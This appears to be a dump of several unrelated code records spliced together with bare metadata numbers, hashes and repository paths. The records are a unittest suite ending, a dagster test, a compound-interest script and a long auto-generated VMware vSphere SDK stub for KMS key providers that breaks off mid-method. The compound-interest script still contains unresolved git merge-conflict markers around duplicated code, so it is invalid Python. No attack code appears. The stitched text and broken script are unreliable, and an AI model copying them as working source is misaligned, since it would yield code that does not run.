suite.addTest(unittest.makeSuite(TenderResourceTest)) suite.addTest(unittest.makeSuite(TenderAwardResourceTest)) suite.addTest(unittest.makeSuite(TenderAwardComplaintResourceTest)) suite.addTest(unittest.makeSuite(TenderAwardComplaintDocumentResourceTest)) return suite if __name__ == '__main__': unittest.main(defaultTest='suite')
48.089971
192
0.633645
3,897
32,605
5.225558
0.039774
0.150265
0.150216
0.064526
0.916667
0.907042
0.901296
0.892703
0.885042
0.874141
0
0.014776
0.188407
32,605
677
193
48.161004
0.75478
0.003374
0
0.741313
0
0.001931
0.196725
0.06657
0
0
0
0
0.542471
1
0.040541
false
0
0.009653
0
0.059846
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
8
3a504a806b50d6704227be0a88b3d1a04dbd3c9c
192
py
Python
examples/docs_snippets/docs_snippets_tests/overview_tests/object_manager_tests/test_custom_object_manager.py
coderanger/dagster
d3e323f8ed55cd906d6f44f19595348ea1580b2d
[ "Apache-2.0" ]
null
null
null
examples/docs_snippets/docs_snippets_tests/overview_tests/object_manager_tests/test_custom_object_manager.py
coderanger/dagster
d3e323f8ed55cd906d6f44f19595348ea1580b2d
[ "Apache-2.0" ]
null
null
null
examples/docs_snippets/docs_snippets_tests/overview_tests/object_manager_tests/test_custom_object_manager.py
coderanger/dagster
d3e323f8ed55cd906d6f44f19595348ea1580b2d
[ "Apache-2.0" ]
null
null
null
from dagster import execute_pipeline from docs_snippets.overview.object_managers.custom_object_manager import my_pipeline def test_custom_object_manager(): execute_pipeline(my_pipeline)
27.428571
84
0.869792
26
192
6
0.576923
0.192308
0.24359
0
0
0
0
0
0
0
0
0
0.088542
192
6
85
32
0.891429
0
0
0
0
0
0
0
0
0
0
0
0
1
0.25
true
0
0.5
0
0.75
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
0
1
0
0
7
28aee8a6efcadefe17aa6a50d7d34e3204160426
436
py
Python
basic/ci.py
AKASHDKR/pythonrepo
3b15c4dbbe913e72c3a88fd35bff65b79ce15b9e
[ "Apache-2.0" ]
4
2021-07-19T08:29:01.000Z
2022-03-08T15:40:10.000Z
basic/ci.py
AKASHDKR/pythonrepo
3b15c4dbbe913e72c3a88fd35bff65b79ce15b9e
[ "Apache-2.0" ]
null
null
null
basic/ci.py
AKASHDKR/pythonrepo
3b15c4dbbe913e72c3a88fd35bff65b79ce15b9e
[ "Apache-2.0" ]
null
null
null
<<<<<<< HEAD print("Enter principal amount:") p=int(input()) print("Enter rate of interest:") r=int(input()) print("Enter time:") t=int(input()) a=p*(pow((1 + r/100),t)) ci=a-p ======= print("Enter principal amount:") p=int(input()) print("Enter rate of interest:") r=int(input()) print("Enter time:") t=int(input()) a=p*(pow((1 + r/100),t)) ci=a-p >>>>>>> dc5c5258f8d49f65839c64fdcab8acafa4deaeb6 print("Compound interest:",ci)
21.8
48
0.635321
68
436
4.073529
0.308824
0.216607
0.187726
0.259928
0.758123
0.758123
0.758123
0.758123
0.758123
0.758123
0
0.066667
0.105505
436
20
49
21.8
0.64359
0
0
0.8
0
0
0.307692
0
0
0
0
0
0
0
null
null
0
0
null
null
0.35
0
0
0
null
1
1
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
10
28fc38af6376c378dbd9844a5b0d83d26215f2f3
63,452
py
Python
com/vmware/vcenter/trusted_infrastructure/trust_authority_clusters/kms_client.py
adammillerio/vsphere-automation-sdk-python
c07e1be98615201139b26c28db3aa584c4254b66
[ "MIT" ]
null
null
null
com/vmware/vcenter/trusted_infrastructure/trust_authority_clusters/kms_client.py
adammillerio/vsphere-automation-sdk-python
c07e1be98615201139b26c28db3aa584c4254b66
[ "MIT" ]
null
null
null
com/vmware/vcenter/trusted_infrastructure/trust_authority_clusters/kms_client.py
adammillerio/vsphere-automation-sdk-python
c07e1be98615201139b26c28db3aa584c4254b66
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- #--------------------------------------------------------------------------- # Copyright 2020 VMware, Inc. All rights reserved. # AUTO GENERATED FILE -- DO NOT MODIFY! # # vAPI stub file for package com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms. #--------------------------------------------------------------------------- """ The ``com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms_client`` module provides the interfaces for configuring the Key Provider Service. It encapsulates one or more key servers and exposes Trusted Key Providers. """ __author__ = 'VMware, Inc.' __docformat__ = 'restructuredtext en' import sys from com.vmware.cis_client import Tasks from vmware.vapi.stdlib.client.task import Task from vmware.vapi.bindings import type from vmware.vapi.bindings.converter import TypeConverter from vmware.vapi.bindings.enum import Enum from vmware.vapi.bindings.error import VapiError from vmware.vapi.bindings.struct import VapiStruct from vmware.vapi.bindings.stub import ( ApiInterfaceStub, StubFactoryBase, VapiInterface) from vmware.vapi.bindings.common import raise_core_exception from vmware.vapi.data.validator import (UnionValidator, HasFieldsOfValidator) from vmware.vapi.exception import CoreException from vmware.vapi.lib.constants import TaskType from vmware.vapi.lib.rest import OperationRestMetadata class Providers(VapiInterface): """ The ``Providers`` interface provides methods to create, update and delete Key Providers that handoff to key servers. This class was added in vSphere API 7.0.0. """ RESOURCE_TYPE = "com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.Provider" """ Resource type for a Key Provider. This class attribute was added in vSphere API 7.0.0. """ _VAPI_SERVICE_ID = 'com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.providers' """ Identifier of the service in canonical form. """ def __init__(self, config): """ :type config: :class:`vmware.vapi.bindings.stub.StubConfiguration` :param config: Configuration to be used for creating the stub. """ VapiInterface.__init__(self, config, _ProvidersStub) self._VAPI_OPERATION_IDS = {} self._VAPI_OPERATION_IDS.update({'list_task': 'list$task'}) self._VAPI_OPERATION_IDS.update({'create_task': 'create$task'}) self._VAPI_OPERATION_IDS.update({'update_task': 'update$task'}) self._VAPI_OPERATION_IDS.update({'delete_task': 'delete$task'}) self._VAPI_OPERATION_IDS.update({'get_task': 'get$task'}) class Health(Enum): """ The ``Providers.Health`` class defines the possible health states. This enumeration was added in vSphere API 7.0.0. .. note:: This class represents an enumerated type in the interface language definition. The class contains class attributes which represent the values in the current version of the enumerated type. Newer versions of the enumerated type may contain new values. To use new values of the enumerated type in communication with a server that supports the newer version of the API, you instantiate this class. See :ref:`enumerated type description page <enumeration_description>`. """ NONE = None """ No status available. This class attribute was added in vSphere API 7.0.0. """ OK = None """ Health is normal. This class attribute was added in vSphere API 7.0.0. """ WARNING = None """ Health is normal, however there is an issue that requires attention. This class attribute was added in vSphere API 7.0.0. """ ERROR = None """ Not healthy. This class attribute was added in vSphere API 7.0.0. """ def __init__(self, string): """ :type string: :class:`str` :param string: String value for the :class:`Health` instance. """ Enum.__init__(string) Health._set_values([ Health('NONE'), Health('OK'), Health('WARNING'), Health('ERROR'), ]) Health._set_binding_type(type.EnumType( 'com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.providers.health', Health)) class ServerInfo(VapiStruct): """ The ``Providers.ServerInfo`` class contains attributes that describe the status of a key server. This class was added in vSphere API 7.0.0. .. tip:: The arguments are used to initialize data attributes with the same names. """ def __init__(self, health=None, details=None, client_trust_server=None, server_trust_client=None, name=None, ): """ :type health: :class:`Providers.Health` :param health: The connection status health of the server. This attribute was added in vSphere API 7.0.0. :type details: :class:`list` of :class:`com.vmware.vapi.std_client.LocalizableMessage` :param details: Details regarding the health of the server connection. When the service ``Providers.Health`` is not :attr:`Providers.Health.OK`, this attribute will provide an actionable description of the issue.. This attribute was added in vSphere API 7.0.0. :type client_trust_server: :class:`bool` :param client_trust_server: Whether this client trusts the server. This attribute was added in vSphere API 7.0.0. :type server_trust_client: :class:`bool` :param server_trust_client: Whether the server trusts this client. This attribute was added in vSphere API 7.0.0. :type name: :class:`str` :param name: Name of the server. This attribute was added in vSphere API 7.0.0. """ self.health = health self.details = details self.client_trust_server = client_trust_server self.server_trust_client = server_trust_client self.name = name VapiStruct.__init__(self) ServerInfo._set_binding_type(type.StructType( 'com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.providers.server_info', { 'health': type.ReferenceType(__name__, 'Providers.Health'), 'details': type.ListType(type.ReferenceType('com.vmware.vapi.std_client', 'LocalizableMessage')), 'client_trust_server': type.BooleanType(), 'server_trust_client': type.BooleanType(), 'name': type.StringType(), }, ServerInfo, False, None)) class Status(VapiStruct): """ The ``Providers.Status`` class contains attributes that describe the status of the Key Provider. This class was added in vSphere API 7.0.0. .. tip:: The arguments are used to initialize data attributes with the same names. """ def __init__(self, health=None, details=None, servers=None, ): """ :type health: :class:`Providers.Health` :param health: The health of the provider. This attribute was added in vSphere API 7.0.0. :type details: :class:`list` of :class:`com.vmware.vapi.std_client.LocalizableMessage` :param details: Details regarding the health of the provider. When the service ``Providers.Health`` is not :attr:`Providers.Health.OK`, this attribute will provide an actionable description of the issue.. This attribute was added in vSphere API 7.0.0. :type servers: :class:`list` of :class:`Providers.ServerInfo` :param servers: Health of the key servers. This attribute was added in vSphere API 7.0.0. """ self.health = health self.details = details self.servers = servers VapiStruct.__init__(self) Status._set_binding_type(type.StructType( 'com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.providers.status', { 'health': type.ReferenceType(__name__, 'Providers.Health'), 'details': type.ListType(type.ReferenceType('com.vmware.vapi.std_client', 'LocalizableMessage')), 'servers': type.ListType(type.ReferenceType(__name__, 'Providers.ServerInfo')), }, Status, False, None)) class Server(VapiStruct): """ The ``Providers.Server`` class contains attributes that describe a connection endpoint. This class was added in vSphere API 7.0.0. .. tip:: The arguments are used to initialize data attributes with the same names. """ def __init__(self, name=None, address=None, ): """ :type name: :class:`str` :param name: Name of the server. A unique string chosen by the client.. This attribute was added in vSphere API 7.0.0. :type address: :class:`com.vmware.vcenter.trusted_infrastructure_client.NetworkAddress` :param address: The server's address. This attribute was added in vSphere API 7.0.0. """ self.name = name self.address = address VapiStruct.__init__(self) Server._set_binding_type(type.StructType( 'com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.providers.server', { 'name': type.StringType(), 'address': type.ReferenceType('com.vmware.vcenter.trusted_infrastructure_client', 'NetworkAddress'), }, Server, False, None)) class KmipServerCreateSpec(VapiStruct): """ The ``Providers.KmipServerCreateSpec`` class contains attributes that describe Key Management Interoperability Protocol (KMIP) desired key server configuration. This class was added in vSphere API 7.0.0. .. tip:: The arguments are used to initialize data attributes with the same names. """ def __init__(self, servers=None, username=None, ): """ :type servers: :class:`list` of :class:`Providers.Server` :param servers: List of Key Management Interoperability Protocol (KMIP) compliant key servers. Key servers must be configured for active-active replication. If the server port is None, a default value for KMIP's port will be used.. This attribute was added in vSphere API 7.0.0. :type username: :class:`str` or ``None`` :param username: Username for authentication. This attribute was added in vSphere API 7.0.0. If None, no username will be added. """ self.servers = servers self.username = username VapiStruct.__init__(self) KmipServerCreateSpec._set_binding_type(type.StructType( 'com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.providers.kmip_server_create_spec', { 'servers': type.ListType(type.ReferenceType(__name__, 'Providers.Server')), 'username': type.OptionalType(type.StringType()), }, KmipServerCreateSpec, False, None)) class KeyServerCreateSpec(VapiStruct): """ The ``Providers.KeyServerCreateSpec`` class contains attributes that describe the desired configuration for the key server. This class was added in vSphere API 7.0.0. .. tip:: The arguments are used to initialize data attributes with the same names. """ _validator_list = [ UnionValidator( 'type', { 'KMIP' : [('kmip_server', True)], } ), ] def __init__(self, type=None, description=None, proxy_server=None, connection_timeout=None, kmip_server=None, ): """ :type type: :class:`Providers.KeyServerCreateSpec.Type` :param type: Type of the key server. This attribute was added in vSphere API 7.0.0. :type description: :class:`str` or ``None`` :param description: Description of the key server. This attribute was added in vSphere API 7.0.0. If None, description will not be added. :type proxy_server: :class:`com.vmware.vcenter.trusted_infrastructure_client.NetworkAddress` or ``None`` :param proxy_server: Proxy server configuration. This attribute was added in vSphere API 7.0.0. If None, the key server will not use a proxy server. :type connection_timeout: :class:`long` or ``None`` :param connection_timeout: Connection timeout in seconds. This attribute was added in vSphere API 7.0.0. If None, connection timeout will not be set. :type kmip_server: :class:`Providers.KmipServerCreateSpec` :param kmip_server: Configuration information for Key Management Interoperability Protocol (KMIP) based key server. This attribute was added in vSphere API 7.0.0. This attribute is optional and it is only relevant when the value of ``type`` is :attr:`Providers.KeyServerCreateSpec.Type.KMIP`. """ self.type = type self.description = description self.proxy_server = proxy_server self.connection_timeout = connection_timeout self.kmip_server = kmip_server VapiStruct.__init__(self) class Type(Enum): """ The ``Providers.KeyServerCreateSpec.Type`` class lists the key server types. This enumeration was added in vSphere API 7.0.0. .. note:: This class represents an enumerated type in the interface language definition. The class contains class attributes which represent the values in the current version of the enumerated type. Newer versions of the enumerated type may contain new values. To use new values of the enumerated type in communication with a server that supports the newer version of the API, you instantiate this class. See :ref:`enumerated type description page <enumeration_description>`. """ KMIP = None """ Key Management Interoperability Protocol (KMIP) based key management server. This class attribute was added in vSphere API 7.0.0. """ def __init__(self, string): """ :type string: :class:`str` :param string: String value for the :class:`Type` instance. """ Enum.__init__(string) Type._set_values([ Type('KMIP'), ]) Type._set_binding_type(type.EnumType( 'com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.providers.key_server_create_spec.type', Type)) KeyServerCreateSpec._set_binding_type(type.StructType( 'com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.providers.key_server_create_spec', { 'type': type.ReferenceType(__name__, 'Providers.KeyServerCreateSpec.Type'), 'description': type.OptionalType(type.StringType()), 'proxy_server': type.OptionalType(type.ReferenceType('com.vmware.vcenter.trusted_infrastructure_client', 'NetworkAddress')), 'connection_timeout': type.OptionalType(type.IntegerType()), 'kmip_server': type.OptionalType(type.ReferenceType(__name__, 'Providers.KmipServerCreateSpec')), }, KeyServerCreateSpec, False, None)) class CreateSpec(VapiStruct): """ The ``Providers.CreateSpec`` class contains attributes that describe the desired configuration for a new Key Provider. This class was added in vSphere API 7.0.0. .. tip:: The arguments are used to initialize data attributes with the same names. """ def __init__(self, provider=None, master_key_id=None, key_server=None, ): """ :type provider: :class:`str` :param provider: Name of the provider. A unique string chosen by the client.. This attribute was added in vSphere API 7.0.0. When clients pass a value of this class as a parameter, the attribute must be an identifier for the resource type: ``com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.Provider``. When methods return a value of this class as a return value, the attribute will be an identifier for the resource type: ``com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.Provider``. :type master_key_id: :class:`str` :param master_key_id: Master key ID created for the provider. A unique Key ID.. This attribute was added in vSphere API 7.0.0. :type key_server: :class:`Providers.KeyServerCreateSpec` :param key_server: Key server associated with this Provider. This attribute was added in vSphere API 7.0.0. """ self.provider = provider self.master_key_id = master_key_id self.key_server = key_server VapiStruct.__init__(self) CreateSpec._set_binding_type(type.StructType( 'com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.providers.create_spec', { 'provider': type.IdType(resource_types='com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.Provider'), 'master_key_id': type.StringType(), 'key_server': type.ReferenceType(__name__, 'Providers.KeyServerCreateSpec'), }, CreateSpec, False, None)) class KmipServerUpdateSpec(VapiStruct): """ The ``Providers.KmipServerUpdateSpec`` class contains attributes that describe new configuration for KMIP based key server. This class was added in vSphere API 7.0.0. .. tip:: The arguments are used to initialize data attributes with the same names. """ def __init__(self, servers=None, username=None, ): """ :type servers: :class:`list` of :class:`Providers.Server` or ``None`` :param servers: List of KMIP compliant key servers. Key servers must be configured for active-active replication. If the server port is None, a default value for KMIP's port will be used. . This attribute was added in vSphere API 7.0.0. If None, server configuration will remain unchanged. :type username: :class:`str` or ``None`` :param username: Username for authentication. . This attribute was added in vSphere API 7.0.0. If None, username will remain unchanged. """ self.servers = servers self.username = username VapiStruct.__init__(self) KmipServerUpdateSpec._set_binding_type(type.StructType( 'com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.providers.kmip_server_update_spec', { 'servers': type.OptionalType(type.ListType(type.ReferenceType(__name__, 'Providers.Server'))), 'username': type.OptionalType(type.StringType()), }, KmipServerUpdateSpec, False, None)) class KeyServerUpdateSpec(VapiStruct): """ The ``Providers.KeyServerUpdateSpec`` class contains attributes that describe new configuration for an existing key server. This class was added in vSphere API 7.0.0. .. tip:: The arguments are used to initialize data attributes with the same names. """ _validator_list = [ UnionValidator( 'type', { 'KMIP' : [('kmip_server', False)], } ), ] def __init__(self, type=None, description=None, proxy_server=None, connection_timeout=None, kmip_server=None, ): """ :type type: :class:`Providers.KeyServerUpdateSpec.Type` or ``None`` :param type: Type of the key server. . This attribute was added in vSphere API 7.0.0. If None, key server type and configuration information will remain unchanged. In this case all key server configuration information fields (e.g KMIP) should be unset. :type description: :class:`str` or ``None`` :param description: Description of the key server. . This attribute was added in vSphere API 7.0.0. If None, description will remain unchanged. :type proxy_server: :class:`com.vmware.vcenter.trusted_infrastructure_client.NetworkAddress` or ``None`` :param proxy_server: Proxy server configuration. . This attribute was added in vSphere API 7.0.0. If None, proxy server configuration will remain unchanged. :type connection_timeout: :class:`long` or ``None`` :param connection_timeout: Connection timeout in seconds. . This attribute was added in vSphere API 7.0.0. If None, connection timeout will remain unchanged. :type kmip_server: :class:`Providers.KmipServerUpdateSpec` or ``None`` :param kmip_server: Configuration information for KMIP based key server. . This attribute was added in vSphere API 7.0.0. If None, kmip server configuration will remain unchanged. """ self.type = type self.description = description self.proxy_server = proxy_server self.connection_timeout = connection_timeout self.kmip_server = kmip_server VapiStruct.__init__(self) class Type(Enum): """ The ``Providers.KeyServerUpdateSpec.Type`` class list the key server types. This enumeration was added in vSphere API 7.0.0. .. note:: This class represents an enumerated type in the interface language definition. The class contains class attributes which represent the values in the current version of the enumerated type. Newer versions of the enumerated type may contain new values. To use new values of the enumerated type in communication with a server that supports the newer version of the API, you instantiate this class. See :ref:`enumerated type description page <enumeration_description>`. """ KMIP = None """ Key Management Interoperability Protocol (KMIP) based key management server. This class attribute was added in vSphere API 7.0.0. """ def __init__(self, string): """ :type string: :class:`str` :param string: String value for the :class:`Type` instance. """ Enum.__init__(string) Type._set_values([ Type('KMIP'), ]) Type._set_binding_type(type.EnumType( 'com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.providers.key_server_update_spec.type', Type)) KeyServerUpdateSpec._set_binding_type(type.StructType( 'com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.providers.key_server_update_spec', { 'type': type.OptionalType(type.ReferenceType(__name__, 'Providers.KeyServerUpdateSpec.Type')), 'description': type.OptionalType(type.StringType()), 'proxy_server': type.OptionalType(type.ReferenceType('com.vmware.vcenter.trusted_infrastructure_client', 'NetworkAddress')), 'connection_timeout': type.OptionalType(type.IntegerType()), 'kmip_server': type.OptionalType(type.ReferenceType(__name__, 'Providers.KmipServerUpdateSpec')), }, KeyServerUpdateSpec, False, None)) class UpdateSpec(VapiStruct): """ The ``Providers.UpdateSpec`` class contains attributes that describe the new configuration for an existing provider. This class was added in vSphere API 7.0.0. .. tip:: The arguments are used to initialize data attributes with the same names. """ def __init__(self, master_key_id=None, key_server=None, ): """ :type master_key_id: :class:`str` or ``None`` :param master_key_id: Master key identifier created for the provider. A unique Key identifier. . This attribute was added in vSphere API 7.0.0. If None, masterKeyId will remain unchanged. :type key_server: :class:`Providers.KeyServerUpdateSpec` or ``None`` :param key_server: Key server associated with this provider. . This attribute was added in vSphere API 7.0.0. If None, key server configuration will remain unchanged. """ self.master_key_id = master_key_id self.key_server = key_server VapiStruct.__init__(self) UpdateSpec._set_binding_type(type.StructType( 'com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.providers.update_spec', { 'master_key_id': type.OptionalType(type.StringType()), 'key_server': type.OptionalType(type.ReferenceType(__name__, 'Providers.KeyServerUpdateSpec')), }, UpdateSpec, False, None)) class Summary(VapiStruct): """ The ``Providers.Summary`` class contains attributes that summarize a provider. This class was added in vSphere API 7.0.0. .. tip:: The arguments are used to initialize data attributes with the same names. """ def __init__(self, provider=None, health=None, ): """ :type provider: :class:`str` :param provider: Name of the provider. A unique string chosen by the client.. This attribute was added in vSphere API 7.0.0. When clients pass a value of this class as a parameter, the attribute must be an identifier for the resource type: ``com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.Provider``. When methods return a value of this class as a return value, the attribute will be an identifier for the resource type: ``com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.Provider``. :type health: :class:`Providers.Health` :param health: Health of the provider in the cluster. This attribute was added in vSphere API 7.0.0. """ self.provider = provider self.health = health VapiStruct.__init__(self) Summary._set_binding_type(type.StructType( 'com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.providers.summary', { 'provider': type.IdType(resource_types='com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.Provider'), 'health': type.ReferenceType(__name__, 'Providers.Health'), }, Summary, False, None)) class KmipServerInfo(VapiStruct): """ The ``Providers.KmipServerInfo`` class contains attributes that describe the current configuration of a KMIP based key server. This class was added in vSphere API 7.0.0. .. tip:: The arguments are used to initialize data attributes with the same names. """ def __init__(self, servers=None, username=None, ): """ :type servers: :class:`list` of :class:`Providers.Server` :param servers: List of KMIP compliant key servers. This attribute was added in vSphere API 7.0.0. :type username: :class:`str` or ``None`` :param username: Username for authentication. . This attribute was added in vSphere API 7.0.0. If None, username will not be set. """ self.servers = servers self.username = username VapiStruct.__init__(self) KmipServerInfo._set_binding_type(type.StructType( 'com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.providers.kmip_server_info', { 'servers': type.ListType(type.ReferenceType(__name__, 'Providers.Server')), 'username': type.OptionalType(type.StringType()), }, KmipServerInfo, False, None)) class KeyServerInfo(VapiStruct): """ The ``Providers.KeyServerInfo`` class contains attributes that describe the current configuration of a key server. This class was added in vSphere API 7.0.0. .. tip:: The arguments are used to initialize data attributes with the same names. """ _validator_list = [ UnionValidator( 'type', { 'KMIP' : [('kmip_server', True)], } ), ] def __init__(self, type=None, description=None, proxy_server=None, connection_timeout=None, kmip_server=None, ): """ :type type: :class:`Providers.KeyServerInfo.Type` :param type: Type of the key server. This attribute was added in vSphere API 7.0.0. :type description: :class:`str` :param description: Description of the key server. This attribute was added in vSphere API 7.0.0. :type proxy_server: :class:`com.vmware.vcenter.trusted_infrastructure_client.NetworkAddress` or ``None`` :param proxy_server: Proxy server configuration. . This attribute was added in vSphere API 7.0.0. If None, proxy server configuration will not be set. :type connection_timeout: :class:`long` or ``None`` :param connection_timeout: Connection timeout in seconds. . This attribute was added in vSphere API 7.0.0. If None, connection timeout will be unset. :type kmip_server: :class:`Providers.KmipServerInfo` :param kmip_server: Configuration information for KMIP based key server. This attribute was added in vSphere API 7.0.0. This attribute is optional and it is only relevant when the value of ``type`` is :attr:`Providers.KeyServerInfo.Type.KMIP`. """ self.type = type self.description = description self.proxy_server = proxy_server self.connection_timeout = connection_timeout self.kmip_server = kmip_server VapiStruct.__init__(self) class Type(Enum): """ The ``Providers.KeyServerInfo.Type`` class list the key server types. This enumeration was added in vSphere API 7.0.0. .. note:: This class represents an enumerated type in the interface language definition. The class contains class attributes which represent the values in the current version of the enumerated type. Newer versions of the enumerated type may contain new values. To use new values of the enumerated type in communication with a server that supports the newer version of the API, you instantiate this class. See :ref:`enumerated type description page <enumeration_description>`. """ KMIP = None """ Key Management Interoperability Protocol (KMIP) based key management server. This class attribute was added in vSphere API 7.0.0. """ def __init__(self, string): """ :type string: :class:`str` :param string: String value for the :class:`Type` instance. """ Enum.__init__(string) Type._set_values([ Type('KMIP'), ]) Type._set_binding_type(type.EnumType( 'com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.providers.key_server_info.type', Type)) KeyServerInfo._set_binding_type(type.StructType( 'com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.providers.key_server_info', { 'type': type.ReferenceType(__name__, 'Providers.KeyServerInfo.Type'), 'description': type.StringType(), 'proxy_server': type.OptionalType(type.ReferenceType('com.vmware.vcenter.trusted_infrastructure_client', 'NetworkAddress')), 'connection_timeout': type.OptionalType(type.IntegerType()), 'kmip_server': type.OptionalType(type.ReferenceType(__name__, 'Providers.KmipServerInfo')), }, KeyServerInfo, False, None)) class Info(VapiStruct): """ The ``Providers.Info`` class contains attributes that describe the current configuration of a provider. This class was added in vSphere API 7.0.0. .. tip:: The arguments are used to initialize data attributes with the same names. """ def __init__(self, master_key_id=None, key_server=None, status=None, ): """ :type master_key_id: :class:`str` :param master_key_id: Master key identifier created for the provider. A unique Key identifier.. This attribute was added in vSphere API 7.0.0. :type key_server: :class:`Providers.KeyServerInfo` :param key_server: Key server associated with this provider. This attribute was added in vSphere API 7.0.0. :type status: :class:`Providers.Status` :param status: Status of the provider in the cluster. This attribute was added in vSphere API 7.0.0. """ self.master_key_id = master_key_id self.key_server = key_server self.status = status VapiStruct.__init__(self) Info._set_binding_type(type.StructType( 'com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.providers.info', { 'master_key_id': type.StringType(), 'key_server': type.ReferenceType(__name__, 'Providers.KeyServerInfo'), 'status': type.ReferenceType(__name__, 'Providers.Status'), }, Info, False, None)) def list_task(self, cluster, ): """ Return a list of summary of Key Providers. This method was added in vSphere API 7.0.0. :type cluster: :class:`str` :param cluster: Identifier of the cluster. The parameter must be an identifier for the resource type: ``ClusterComputeResource``. :rtype: :class: `vmware.vapi.stdlib.client.task.Task` :return: Task instance :raise: :class:`com.vmware.vapi.std.errors_client.InvalidArgument` If the cluster id is empty. :raise: :class:`com.vmware.vapi.std.errors_client.NotFound` If the cluster is not found. :raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated` If the caller is not authenticated. :raise: :class:`com.vmware.vapi.std.errors_client.Error` For any other error. """ task_id = self._invoke('list$task', { 'cluster': cluster, }) task_svc = Tasks(self._config) task_instance = Task(task_id, task_svc, type.ListType(type.ReferenceType(__name__, 'Providers.Summary'))) return task_instance def create_task(self, cluster, spec, ): """ Add a new Key Provider. This method was added in vSphere API 7.0.0. :type cluster: :class:`str` :param cluster: Identifier of the cluster. The parameter must be an identifier for the resource type: ``ClusterComputeResource``. :type spec: :class:`Providers.CreateSpec` :param spec: Provider information. :raise: :class:`com.vmware.vapi.std.errors_client.AlreadyExists` If the provider already exists. :raise: :class:`com.vmware.vapi.std.errors_client.InvalidArgument` If the spec is invalid or cluster id is empty. :raise: :class:`com.vmware.vapi.std.errors_client.NotFound` If the cluster is not found. :raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated` If the caller is not authenticated. :raise: :class:`com.vmware.vapi.std.errors_client.Error` For any other error. """ task_id = self._invoke('create$task', { 'cluster': cluster, 'spec': spec, }) task_svc = Tasks(self._config) task_instance = Task(task_id, task_svc, type.VoidType()) return task_instance def update_task(self, cluster, provider, spec, ): """ Update an existing Key Provider. This method was added in vSphere API 7.0.0. :type cluster: :class:`str` :param cluster: Identifier of the cluster. The parameter must be an identifier for the resource type: ``ClusterComputeResource``. :type provider: :class:`str` :param provider: Identifier of the provider. The parameter must be an identifier for the resource type: ``com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.Provider``. :type spec: :class:`Providers.UpdateSpec` :param spec: Provider information. :raise: :class:`com.vmware.vapi.std.errors_client.InvalidArgument` If the cluster or provider id is empty, or the spec is invalid. :raise: :class:`com.vmware.vapi.std.errors_client.NotFound` If the cluster or provider is not found. :raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated` If the caller is not authenticated. :raise: :class:`com.vmware.vapi.std.errors_client.Error` For any other error. """ task_id = self._invoke('update$task', { 'cluster': cluster, 'provider': provider, 'spec': spec, }) task_svc = Tasks(self._config) task_instance = Task(task_id, task_svc, type.VoidType()) return task_instance def delete_task(self, cluster, provider, ): """ Remove a Key Provider. This method was added in vSphere API 7.0.0. :type cluster: :class:`str` :param cluster: Identifier of the cluster. The parameter must be an identifier for the resource type: ``ClusterComputeResource``. :type provider: :class:`str` :param provider: Identifier of the provider. The parameter must be an identifier for the resource type: ``com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.Provider``. :raise: :class:`com.vmware.vapi.std.errors_client.InvalidArgument` If the cluster or provider id is empty. :raise: :class:`com.vmware.vapi.std.errors_client.NotFound` If the cluster or provider is not found. :raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated` If the caller is not authenticated. :raise: :class:`com.vmware.vapi.std.errors_client.Error` For any other error. """ task_id = self._invoke('delete$task', { 'cluster': cluster, 'provider': provider, }) task_svc = Tasks(self._config) task_instance = Task(task_id, task_svc, type.VoidType()) return task_instance def get_task(self, cluster, provider, ): """ Return information about a Key Provider. This method was added in vSphere API 7.0.0. :type cluster: :class:`str` :param cluster: Identifier of the cluster. The parameter must be an identifier for the resource type: ``ClusterComputeResource``. :type provider: :class:`str` :param provider: Identifier of the provider. The parameter must be an identifier for the resource type: ``com.vmware.vcenter.trusted_infrastructure.trust_authority_clusters.kms.Provider``. :rtype: :class: `vmware.vapi.stdlib.client.task.Task` :return: Task instance :raise: :class:`com.vmware.vapi.std.errors_client.InvalidArgument` If the cluster or provider id is empty. :raise: :class:`com.vmware.vapi.std.errors_client.NotFound` If the cluster or provider is not found. :raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated` If the caller is not authenticated. :raise: :class:`com.vmware.vapi.std.errors_client.Error` For any other error. """ task_id = self._invoke('get$task', { 'cluster': cluster, 'provider': provider, }) task_svc = Tasks(self._config) 